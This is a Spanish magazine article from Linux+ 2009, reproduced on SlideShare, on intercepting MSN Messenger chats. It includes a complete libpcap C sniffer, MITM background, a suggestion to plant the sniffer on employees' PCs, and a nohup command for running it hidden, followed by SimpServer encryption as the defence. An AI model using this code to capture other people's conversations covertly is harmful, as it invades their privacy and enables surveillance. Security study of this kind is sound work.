Your SlideShare is downloading. ×
Interceptando conversaciones messenger
Interceptando conversaciones messenger
Interceptando conversaciones messenger
Interceptando conversaciones messenger
Interceptando conversaciones messenger
Interceptando conversaciones messenger
Interceptando conversaciones messenger
Upcoming SlideShare
Loading in...5
×

Thanks for flagging this SlideShare!

Oops! An error has occurred.

×
Saving this for later? Get the SlideShare app to save on your phone or tablet. Read anywhere, anytime – even offline.
Text the download link to your phone
Standard text messaging rates apply

Interceptando conversaciones messenger

386

Published on

0 Comments
0 Likes
Statistics
Notes
  • Be the first to comment

  • Be the first to like this

No Downloads
Views
Total Views
386
On Slideshare
0
From Embeds
0
Number of Embeds
0
Actions
Shares
0
Downloads
5
Comments
0
Likes
0
Embeds 0
No embeds

Report content
Flagged as inappropriate Flag as inappropriate
Flag as inappropriate

Select your reason for flagging this presentation as inappropriate.

Cancel
No notes for slide

Transcript

  • 1. hacking para linuxeros Interceptando conversaciones Messenger Interceptando conversaciones Messenger David Puente Castro Analizar hasta qué punto un protocolo puede considerarse como vulnerable, es algo que conlleva un gran esfuerzo, pero muy por encima podemos agruparlos en dos grupos: Los que ofrecen cifrado, y los que no. Aquellos que no lo hacen, deben de atenerse a las consecuencias. ¿ A quien le puede interesar capturar conversacio- y reestructurar el código hasta tal punto que la idea original linux@software.com.pl nes? No encontrar respuesta a esta pregunta resulta para el que fue creado se torne ilegible (a pesar de que siga francamente complicado. Que sea o no éticamente funcionando igual o mejor que antes). correcto es un tema tratado ya en demasía y que depende únicamente de los fines de la persona que lo realiza. ¿Que pretende este artículo? Capturar conversaciones realizadas a través del software En una primera fase veremos cómo capturar conversaciones Messenger, aMSN, o todo que trabaje bajo el mismo proto- de Messenger con menos de 200 líneas de código fuente en colo, puede ser algo interesante. Y aquí no nos referimos a la lenguaje C (no contabilizando comentarios). El método que acción en si, sino al ambiciado: ¿Cómo hacerlo?. utilizaremos puede ser reutilizado para capturar conversa- Los programas son criaturas extrañas, la mayoría de ciones de IRC, AIM, Yahoo!, ICQ e incluso para capturar las veces complejas y algunas veces son obras demasia- direcciones URL en peticiones HTTP. do personales. Cuando uno deja de ser un simple novato Finalmente estudiaremos cómo este problema de seguri- y comienza a interesarse en cómo funciona lo que le rodea, dad puede ser evadido con la aplicación de ciertas medidas de e incluso decide meter su cabeza en el código fuente, no todo cifrado de protocolo gracias al uso SIMP. es color de rosa. Y todo ello no es porque el Programador sea una en- Ideas tidad retorcida cuya única intención sea hacer su código Plantar un sniffer en su propio ordenador para capturar indescifrable (aunque podría serlo, y más bonito todavía conversaciones puede parecer inútil, no obstante, cuando lo sería descifrarlo). La razón es que cuando uno consigue una sitúa en los PCs de sus empleados y espera a saber a qué se base lo suficientemente sólida como para mantenerse por si dedican realmente en horario de trabajo, el asunto se vuelve misma, el programador no puede evitar la incesante necesi- más interesante. Debo aclarar que espiar a su pareja es más dad de añadir nuevas funciones, introducir nuevas variables, inmoral todavía.50 Linux+ 3/2009
  • 2. hacking para linuxeros Interceptando conversaciones Messenger La mayor ventaja se obtiene cuando entraen juego un ataque Man In The Middle, enton-ces todo cambia, pero la situación se vuelveilícita, téngalo en cuenta.Aplicación de monitorización y análisis detráfico de una red que detecta en los paquetesindividuales pratones específicos seleccionadospor el usuario. Pueden ser utilizados ilegalmen-te para interceptar tráfico y por norma generalsuelen ser silenciosos.Man In The Middle Figura 1. Esquema del ataque Man in the MiddleUn ataque Hombre en el medio, es aquel en que Anteriormente conocido como Ethereal, es Existen algunos otros comandos, pero estánuna persona con un dispositivo de comunicación la herramienta más destacada en Linux para el orientados a control y establecimiento de pa-consigue situarse en una posición intermedia estudio de lo que sucede en las capas más bajas rámetros de conexión. Ha llegado el momentoentre un router y el usuario legítimo de una red, de nuestras conexiones de red. Su principal de que veamos el comando más importante ende modo que todo el tráfico que circula por la red capacidad es la de capturar todos los paquetes nuestra investigación.pasa a través del atacante sin el conocimiento di- que entran y salen de nuestra red, y generar unarecto del resto de participantes (ver Figura 1). estructura muy intuitiva con toda la informa- Comando MSG Con este artículo no se pretende incurrir ción legible que una persona con ciertos co- Veámoslo en directo. Inicie Wireshark conen ninguna infracción de la ley, tan solo es un nocimientos puede interpretar. Lo mejor que se permisos de administrador root. Una vez seestudio detallado de la situación a la que nos en- puede decir de él, es que es de código abierto. encuentre delante de la pantalla principal sigafrentamos a diario. El objetivo es conocer hasta Podríamos decir y decimos que el protoco- el menú Capture -> Options. Una vez aquíqué punto estamos a merced de atacantes con lo Messenger, al igual que por ejemplo IRC y escogeremos como interfaz de red aquella conmalas intenciones y cómo defendernos. FTP tal vez, funciona por medio de comandos. la que obtenemos nuestra conexión normal a in- Estos son dirigidos a un servidor central que ternet (en mi caso ath0) y en el campo CaptureRequisitos se encarga de hacer las gestiones necesarias Filter escribiremos lo siguiente:Los requisitos indispensables son los siguientes: según los parámetros indicados. Este servidor es un intermediario entre emisor y receptor. tcp and src port 1863 or dst port 1863• LibPcap (version 0.8) (http:// En realidad todo el proceso es un poco más sourceforge.net/projects/libpcap/), complicado, pero esta idea sirve perfectamente Si hacemos click en el botón Start estaremos• LibNet (version 1.1 o superior) (http:// a nuestros fines. iniciando una captura de red filtrando única- libnet.sourceforge.net). Nota: Ahora deténgase a pensar un mo- mente el trafico TCP que entra y sale del puerto mento. Si nuestra información viaja sin cifrar 1863, que precisamente es el que MessengerLibPcap es una pequeña maravilla que nos y circula por una máquina que no es de nuestra utiliza para las comunicaciones.proporciona todas las funciones necesarias para confianza, ¿hasta qué punto está seguro de que Inicie su software aMSN habitual en Linux,capturar paquetes y controlar la información en sus mensajes no son inspeccionados en busca y comience una conversación. Después de unellos contenida. LibNet, es todo lo contrario, su de información peligrosa? breve intercambio de frases puede cerrar laobjetivo es facilitar un API de programación Bien, continuemos. Lo que hemos dicho sesión y detener Wireshark. Veamos qué hemosorientado a la inyección de paquetes. del servidor central y de la interactuación a obtenido en nuestro ejemplo (Figura 3). No se entrará en detalles acerca de la im- través de comandos es tan cierto, que puede es- Esto es un inicio de sesión clásico. En elplementación y argumentos de las funciones de tablecer una comunicación con toda naturalidad marco superior, hacia la derecha, podemosla librería libpcap, sin embargo, se mostrará el mediante una clásica sesión de telnet. Puedecometido de cada una de ellas, pues para eso seguir este estudio aquí (http://65.23.158.196/estamos aquí, para comentar el código. Libnet, nitz/nitz/protocolo_msn.pdf).por su parte, podría ser evitado pero utilizare- Describamos ahora los comandos básicos,mos sus estructuras de cabecera para protocolos para posteriormente centrarnos en el que másdebido a que son verdaderamente intuitivas y interesa en nuestra investigación:facilitan nuestra tarea. • VER: Establece la versión del protocoloAnálisis del protocolo MSN Messenger.El método utilizado para crear el código que • USR: Comando de identificación de usuario.veremos en la siguiente sección se basa en algo • SYN: Obtener la lista de contactos.tan sencillo como interpretar las capturas de • CHG: Comando de cambio de estado.uno de los mejores sniffer de redes que dispo- • CAL: Invitar a un contacto a una conversa-nemos desde nuestro Sistema Operativo Linux: ción.Wireshark. • BYE: Comando de cierre de sesión. Figura 2. Logo de Wireshark www.lpmagazine.org 51
  • 3. hacking para linuxeros Interceptando conversaciones Messenger Listado 1a. Código fuente /* Archivos de cabecera y definiciones */ if (pcap_setfilter(sniffmsn, &filtro) == -1) { fprintf(stderr, "Error aplicando el filtron"); #include <stdio.h> exit(-1); #include <pcap.h> } #include <libnet.h> // Iniciamos la captura de paquetes indefinidamente, el 3er parámetro es la #define MSN_PORT 1863 // función que se encarga de interpretar los paquetes, // Puerto por defecto para MSN Messenger. siempre tiene tres #define TCPHDR_LEN 0x20 // parámetros y no tiene valor de retorno. // Algunas veces podría necesitar cambiar esto rc = pcap_loop(sniffmsn, -1, &read_msn, NULL); // por "0x14" para que funcione. Ello es debido return 0; // a que diversas opciones del protocolo TCP } // pueden cambiar el tamaño de la cabecera de // Función que interpreta los paquetes. Extraemos las // 20 a 32 bytes . cabeceras TCP e IP y #define FILTRO_MSN "tcp and src port 1863 or dst port // controlamos el payload (carga o datos) que se pasará 1863" a la siguiente // Declaraciones de funciones // función diferenciando entre enviados y recibidos static char * get_ident(char *); para leer los que sean void print_msg(char *, int, char *, char *); // realmente interesantes. void handle_msg(char *, char, int); void void read_msn(u_char *, const struct pcap_pkthdr *, read_msn(u_char *useless, const struct pcap_pkthdr const u_char *); *pkthdr, const u_char *pkt) int main(int argc, char *argv[]) { { u_char *data; int rc; int len; char *device; struct libnet_ipv4_hdr *iph; // Cabecera IP char errbuf[PCAP_ERRBUF_SIZE]; struct libnet_tcp_hdr *tcph; // Cabecera TCP struct bpf_program filtro; iph = (struct libnet_ipv4_hdr *)(pkt + LIBNET_ETH_H); bpf_u_int32 netp, maskp; tcph = (struct libnet_tcp_hdr *)(pkt + LIBNET_ETH_H pcap_t* sniffmsn; + LIBNET_IPV4_H); if (argc < 2) // Los datos se alcanzan tras pasar las cabeceras: exit(0); ethernet, ip y tcp. device = argv[1]; // Único parámetro: interfaz de data = (u_char *)(pkt + LIBNET_ETH_H + LIBNET_IPV4_H red. Ex.: eth1, ath0, etc. + TCPHDR_LEN); // Abrimos el dispositivo para captura en modo len = ntohs(iph->ip_len); promiscuo // Si el puerto origen es 1863, estamos recibiendo un sniffmsn = pcap_open_live(device, 1600, 1, 20, mensaje. errbuf); if (ntohs(tcph->th_sport) == MSN_PORT) { if (sniffmsn == NULL) { handle_msg(data, R, len); fprintf(stderr, "pcap_open_live(): %sn",errbuf); // Maneja los datos que anteriormente exit(-1); // destripamos: comando, opciones y mensaje. } } if (pcap_lookupnet(device, &netp, &maskp, errbuf) == // Si el puerto destino es 1863, estamos enviando un -1) { mensaje fprintf(stderr, "Error en pcap_lookupnet(): %s else if (ntohs(tcph->th_dport) == MSN_PORT) { n", errbuf); handle_msg(data, S, len); exit(-1); } } // Función que busca mensajes dentro de la carga útil // Creamos el filtro con las opciones anteriormente del paquete. definidas void if (pcap_compile(sniffmsn, &filtro, FILTRO_MSN, 0, handle_msg(char *data, char dir, int dlen) netp) == -1) { { fprintf(stderr, "Error compilando el filtron"); char *pc, *pstart; exit(-1); char *email; } char *nick; // Aplicamos el filtro a la interfaz char *buf;52 Linux+ 3/2009
  • 4. hacking para linuxeros Interceptando conversaciones MessengerListado 1b. Código fuente // Creamos un buffer con la longitud del payload } buf = (char *) calloc(dlen, sizeof(char)); // Trabajar limpiamente // Copiamos allí su contenido para manejarlo free(buf); if (buf != NULL) { free(email); strncpy(buf, data, dlen); free(nick); } else { } fprintf(stderr, "nNo hay suficiente memorian"); void exit(-1); print_msg(char *pc, int dir, char *mail, char *nick) } { // Comprobamos que contenga el comando "MSG" char *str, *str_end; if (strncmp(buf, "MSG", 3) == 0) { int len; // Que su contenido sea texto plano y no datos de // Parametros válidos para el comando "MSG" control if (*pc == U || *pc == N || *pc == A) { if (strstr(buf, "Content-Type: text/plain") != str = strchr(pc, ); NULL) { str++; // Mensajes enviados } if (dir == S) { else { // Nos situamos en el primer parámetro del comando MSG str = pc; pc = strchr(buf + 4, ); } pc++; // Justo antes del primer retorno de carro se // Función que alcanza el mensaje y lo imprime. El encuentra la longitud del último parámetro // mensaje, lo almacenamos en la variable len. // es nulo porque no imprimimos el e-mail del emisor, str_end = strchr(str, r); nosotros. *str_end = 0; // Ya saben, para manejar cadenas // Deberíamos hacerlo si utilizamos ataques MITM. deben terminar en 0. print_msg(pc, dir, NULL, NULL); len = atoi(str); } str = str_end + 2; // Mensajes recibidos *(str + len) = 0; else { // Gracias al retorno de carro y nueva linea adicional // Lo mismo que antes pero esta vez colocamos un que el protocolo caracter nulo al // MSN nos facilita, el mensaje real siempre se // final de la dirección e-mail del receptor para poder encontrara después de dos manejar // retornos de carro y nueva linea consecutivos. // este fragmento como una cadena. str = strstr(str, "rnrn"); pstart = buf + 4; str += 4; pc = strchr(pstart, ); if (dir == S) if (pc != NULL) else *pc = 0; printf("nSMS desde (%s) [%s]: %sn", mail, nick, email = get_ident(pstart); str); // Recibidos // Esta función, que será descrita al } // final del código, no es más que un // Administrador de memoria dinámica para almacenar // pequeño administrador de memoria cadenas. // dinámica, que reserva el espacio static char * // suficiente para almacenar e-mail y get_ident(char *ptr) // sus consecuentes overflows. { // Mismo procedimiento para almacenar el nick. char *buff; pc++; size_t bsize = 32; // Tamaño de buffer inicial pstart = pc; int lenp = strlen(ptr); pc = strchr(pstart, ); // Mientras la longitud de la cadena sea mayor que el if (pc != NULL) tamaño de buffer, *pc = 0; // lo vamos multiplicando por 2 hasta que la capacidad nick = get_ident(pstart); sea suficiente. pc++; while (lenp > bsize) { print_msg(pc, dir, email, nick); bsize *= 2; // Imprimir mensaje } } buff = (char *) calloc(bsize, sizeof(char)); } // Creamos el buffer con 0s www.lpmagazine.org 53
  • 5. hacking para linuxeros Interceptando conversaciones Messenger Listado 1c. Código fuente if (buff != NULL) { strncpy(buff, ptr, bsize - 1); // Copiamos la cadena al buffer return buff; } else { fprintf(stderr, "nNo hay suficiente memorian"); exit(-1); } } ver remarcado un comando USR con ciertos parámetros de identificación para mi usuario. Encima verá algunos referentes a la versión. Todo esto es más o menos común a cada imple- mentación, pero veamos ahora qué comandos MSG son relevantes y cuáles no (Figura 4). Sólo las líneas 23 y 33 son relevantes. Podemos ver varios comandos MSG, pero no todos son de interés y no todos contienen men- sajes. Echemos un vistazo al marco inferior de nuestro paquete número 23 que hemos selec- cionado intencionadamente. Al final de todo se observa el mensaje que hemos enviado (aquí, hola, mi nombre es David), pero se preguntará que es toda esa información previa. Una breve descripción: Figura 5. Redireccionando los mensajes hacia un archivo de salida • MSG 58 A 146 rn: – Longitud en bytes de todo lo que vie- • Content-Type: text/plain; charset=UTF- – Nombre del comando, ne a continuación de este parámetro 8rn: – Parámetro no importante, hasta el final del mensaje enviado. – El parámetro text/plain indica que – Debemos saber que solo “A”, “N” • MIME-Version: 1.0rn: el paquete lleva texto legible.Este es y “U” sirven a nuestros intereses, – Por defecto. uno de los puntos más relevantes, solo los paquetes que contengan este campo llevarán mensajes de conver- sación consigo. Los demás podemos desecharlos. – Formato de codificación de caracteres. • X-MMS-IM-Format: FN=Helvetica; EF=; CO=000000; CS=0; PF=22rn: – Fuente de la letra, Figura 3. Ilustración al comando MSG – Cursiva, Negrita o Subrayado, – Color del texto, – Codificación de caracteres, – ... • rn: – Adicional, será de mucha ayuda en la codificación del programa, • hola, mi nombre es David: – ¿Requiere alguna explicación? User-Agent que identifique el software desde el que se está realizando la conexión, como ocurre con los navegadores. Figura 4. Comprobando la relevación de comandos MSG54 Linux+ 3/2009
  • 6. hacking para linuxeros Interceptando conversaciones Messenger Hasta aquí todo claro, lo que acabamos de en cierta medida su comprensión a la hora de se activa en el ordenador del atacante y no enver es el mensaje que nosotros enviamos hacia interpretarlo. Veámoslo: las víctimas).el destinatario. Entonces las ideas que sacamos No es que sea muy ortodoxo, pero para noen claro de todo el esquema son las siguientes: • Capturar paquetes con libpcap. complicar más el código que acabamos de ver • Filtrar los que vayan o provengan del hace un momento, tomaremos de la mano las• Solo los comandos MSG con parámetros puerto 1863 (msn). facilidades que nos aporta Linux en la línea de “A”, “N” o “U” son atractivos, • Copiar la carga de datos del paquete a un comandos. Los objetivos son, ocultar el sniffer• Solo paquetes con la cadena Content-Ty- buffer. visualmente y redireccionar los mensajes hacia pe: text/plain; contienen mensajes, • Diferenciar entre enviados y recibidos. un archivo de salida que hará las veces de log• El mensaje siempre se encuentra después • Guardar el e-mail/nick del receptor en caso o archivo de grabación. Esto puede conseguirse de una secuencia rnrn. necesario. fácilmente con la siguiente instrucción: • Seleccionar aquellos que contengan el co-Si ahora miramos el contenido del paquete nú- mando MSG. # nohup ./smsn [dev] > log_msn.log &mero 33, encontramos la única diferencia: • Seleccionar aquellos que contengan Con- tent-Type: text/plain. o• MSG jenni_somo@hotmail.com (#)whi- • Desplazarnos hasta la cadena del mensaje tengel!! 144rn: e imprimirla (tras “rnrn”). $ sudo nohup ./smsn [dev] > log_ – Nombre del comando, msn.log & – Dirección de correo del usuario, Aclaraciones – Nick o frase del usuario, Puede compilar el código fuente (Listado 1) de Con nohup usted desengancha el siguiente co- – Cantidad de bytes hasta el final del esta forma: mando del shell y así puede cerrarlo sin preocu- mensaje. parse. El carácter final “&” envía el proceso al $ gcc smsn.c -lpcap -lnet -o smsn segundo plano. Solo nos queda verlo en acciónCasi sin darnos cuenta acabamos de vislumbrar (Figura 5).como nuestra privacidad diaria se encuentra Habíamos mencionado al principio del artí-totalmente comprometida y en manos de cual- culo que un sniffer debe de ser un programa Usted no es comoquiera que tenga la capacidad de aprovecharse silencioso. Y esto debe cumplirse tanto en el los demás (SIMP)de la situación. hecho de no interferir en el tráfico que cir- Hemos visto que es posible capturar conver- cula por la red, como en el hecho de que no saciones realizadas por medio del protocoloPaso a paso sea visible localmente (si estuviésemos tra- MSN. Hemos visto que es posible crear unaPara la realización de nuestro programa segui- bajando bajo un ataque Man in The Middle pequeña utilería como prueba de concepto.remos una estructura paso a paso que facilitará esto no sería necesario puesto que el sniffer Pero todavía no hemos visto que es posible defenderse. SIMP es capaz de proteger el contenido de nuestras conversaciones mendiante algo- ritmos de encriptación. El programa trabaja clasificando las conversaciones según 3 nive- les de seguridad: No encriptado, encriptado, y encriptado/autentificado. SIMP fue principalmente diseñado en for- ma de una aplicación llamada SimpLite para entornos Windows, que dispone de cuatro versiones distintas según nuestro deseo sea cifrar una de estos servicios de mensajería instantánea: • MSN, • Yahoo!, • ICQ/AIM, • Jabber/Google. Afortunadamente para nosotros, la empresa SecWay diseñó una versión para Unix, Simp- Server, que puede correr en los siguientes sistemas: • Linux x86 (libstdc++ 5 required), • MacOS X,Figura 6. Opciones avanzadas • FreeBSD 5. www.lpmagazine.org 55
  • 7. hacking para linuxeros Interceptando conversaciones Messenger Sobre el autor David Puente Castro, alias blackngel, es un gran aficionado a la programación y la seguridad informática . Original de Ouren- se (Galicia) y viviendo actualmente en la provincia de Salamanca dedica la mayor parte de su tiempo libre a disfrutar de la experiencia Linux. Asiduo escritor de artículos básicos sobre temas de seguridad informática en el E-Zine electrónico S.E.T. (Saqueadores Edición Técnica), ampliamente conocido en el Underground Hispano. Actualmente man- tiene su segunda página oficial en: http:// set.diazr.com/, cuyo principal objetivo, radi- Figura 7. Página web de LibPcap ca en ocupar el lugar que en su momento cubrió la web de Hackemate como reposito- • Descomprimir en /usr/local: do es el pequeño administrador de memoria rio de material sobre temas de hacking. $ cp simpserver-2.1.5c-linux- get_ident(...). Con él podemos aprender Su primer encuentro con Linux data ya x86.tgz /usr/local prácticas de programación bastante más ade- de hace unos 8 años y fue poco más ade- $ tar -xvzf simpserver-2.1.5c- cuadas en la actualidad. Debemos evitar caer en lante que descubrió el fantástico mundo linux-x86.tgz las tentaciones del de la programación y la subcultura hacker. • Ejecutar el servicio (Listado 2). Programación en Linux: Casos Prácticos Participa activamente en wargames como: (http://www.anayamultimedia.es), podría ser yoire.com, warzone (elhacker.net) y otros. SimpServer trabaja como un proxy, utilizan- una buena lectura si pretendes que tu visión Aunque trabaja con ordenadores, la do SOCKS 4 para tal fin. Por ello debemos ante la programación cambie de forma nota- mayor parte de sus tareas diarias no tie- configurar nuestro cliente de mensajería para ble. nen una relación directa con esta temática. utilizarlo. Por desgracia aMSN solo soporta Espero que esto haya sido lo suficiente- Auxiliar administrativo, obligado a utilizar el SOCKS 5, pero los usuarios de Linux siempre mente interesante como para llegar hasta el sistema operativo Windows, tiene la cos- tenemos una solución para todo y en este caso final. La idea que subyace a todo este asunto tumbre de llevarse su última Distribución el cliente Pidgin nos viene de perlas. Dando por radica en que debemos ser precavidos con Live a la oficina para seguir disfrutando supuesto que sabe como instalarlo en su sistema todo aquello en lo que confiamos. de su SO favorito, Linux, y desarrollar sus ($ sudo apt-get isntall pidgin), veamos En todas las actividades es saludable, pequeños proyectos. como configurarlo (Figura 6): de vez en cuando, poner un signo de interro- Dedica el artículo a su pareja y familia gación sobre aquellas cosas que por mucho por la paciencia que demuestran cuando • Cuentas->Gestionar Cuentas->Modificar tiempo se han dado como seguras. [Bertrand intenta explicarles á haciendo. ->Avanzadas, Russell]. Por lo demás, puede encontrarlo online, • Tipo de proxy: SOCKS 4, Hasta la próxima, y feliz hacking. prácticamente las 24 horas del día, en • Servidor: localhost, las siguientes direcciones: blackngel1@ • Puerto: 11863. gmail.com y black@set-ezine.org Hasta aquí tiene configurado SimpServer to- En la red Es muy importante notar que la comunicación talmente en su sistema y disponible para ser es cifrada punto a punto, y la persona con la utilizado con Pidgin. Cualquier futura comu- • LibPcap: que deseemos establecer una comunicación nicación que implique a dos usuarios con este http://sourceforge.net/ también debe tener instalada esta misma he- software funcionando (SimpServer), producirá projects/libpcap/ rramienta, de otro modo los mensajes seguirían un mensaje informando acerca de un intercam- • LibNet: viajando en texto claro. bio de claves. Claves que han sido generadas http://libnet.sourceforge.net SimpServer es un servicio que aprendere- tanto de forma automática como de forma ma- • Protocolo MSN: mos a instalar y configurar a continuación (lo nual en anteriores versiones. http://65.23.158.196/nitz/nitz/ haremos bajo un sistema Ubuntu Linux): Tiene deberes, compruebe ahora con Wire- protocolo_msn.pdf shark en que formato fluyen los datos cuando • Programación en Linux: Casos Prácti- • Descargar el programa desde esta direc- atraviesan la red. Ya puede sentirse un poco cos – ISBN: 978-84-415-1839-1: ción: http://download.secway.com/public/ más seguro. http://www.anayamultimedia.es products/simpserver/simpserver-2.1.5c- • SimpServer para Unix: linux-x86.tgz Conclusión http://www.secway.fr/us/products/ • Instalar librería dependiente: $ sudo apt- Aunque no lo parezca, una de las partes más simpserver/ get install libstdc++5 interesantes del código que hemos desarrolla-56 Linux+ 3/2009

×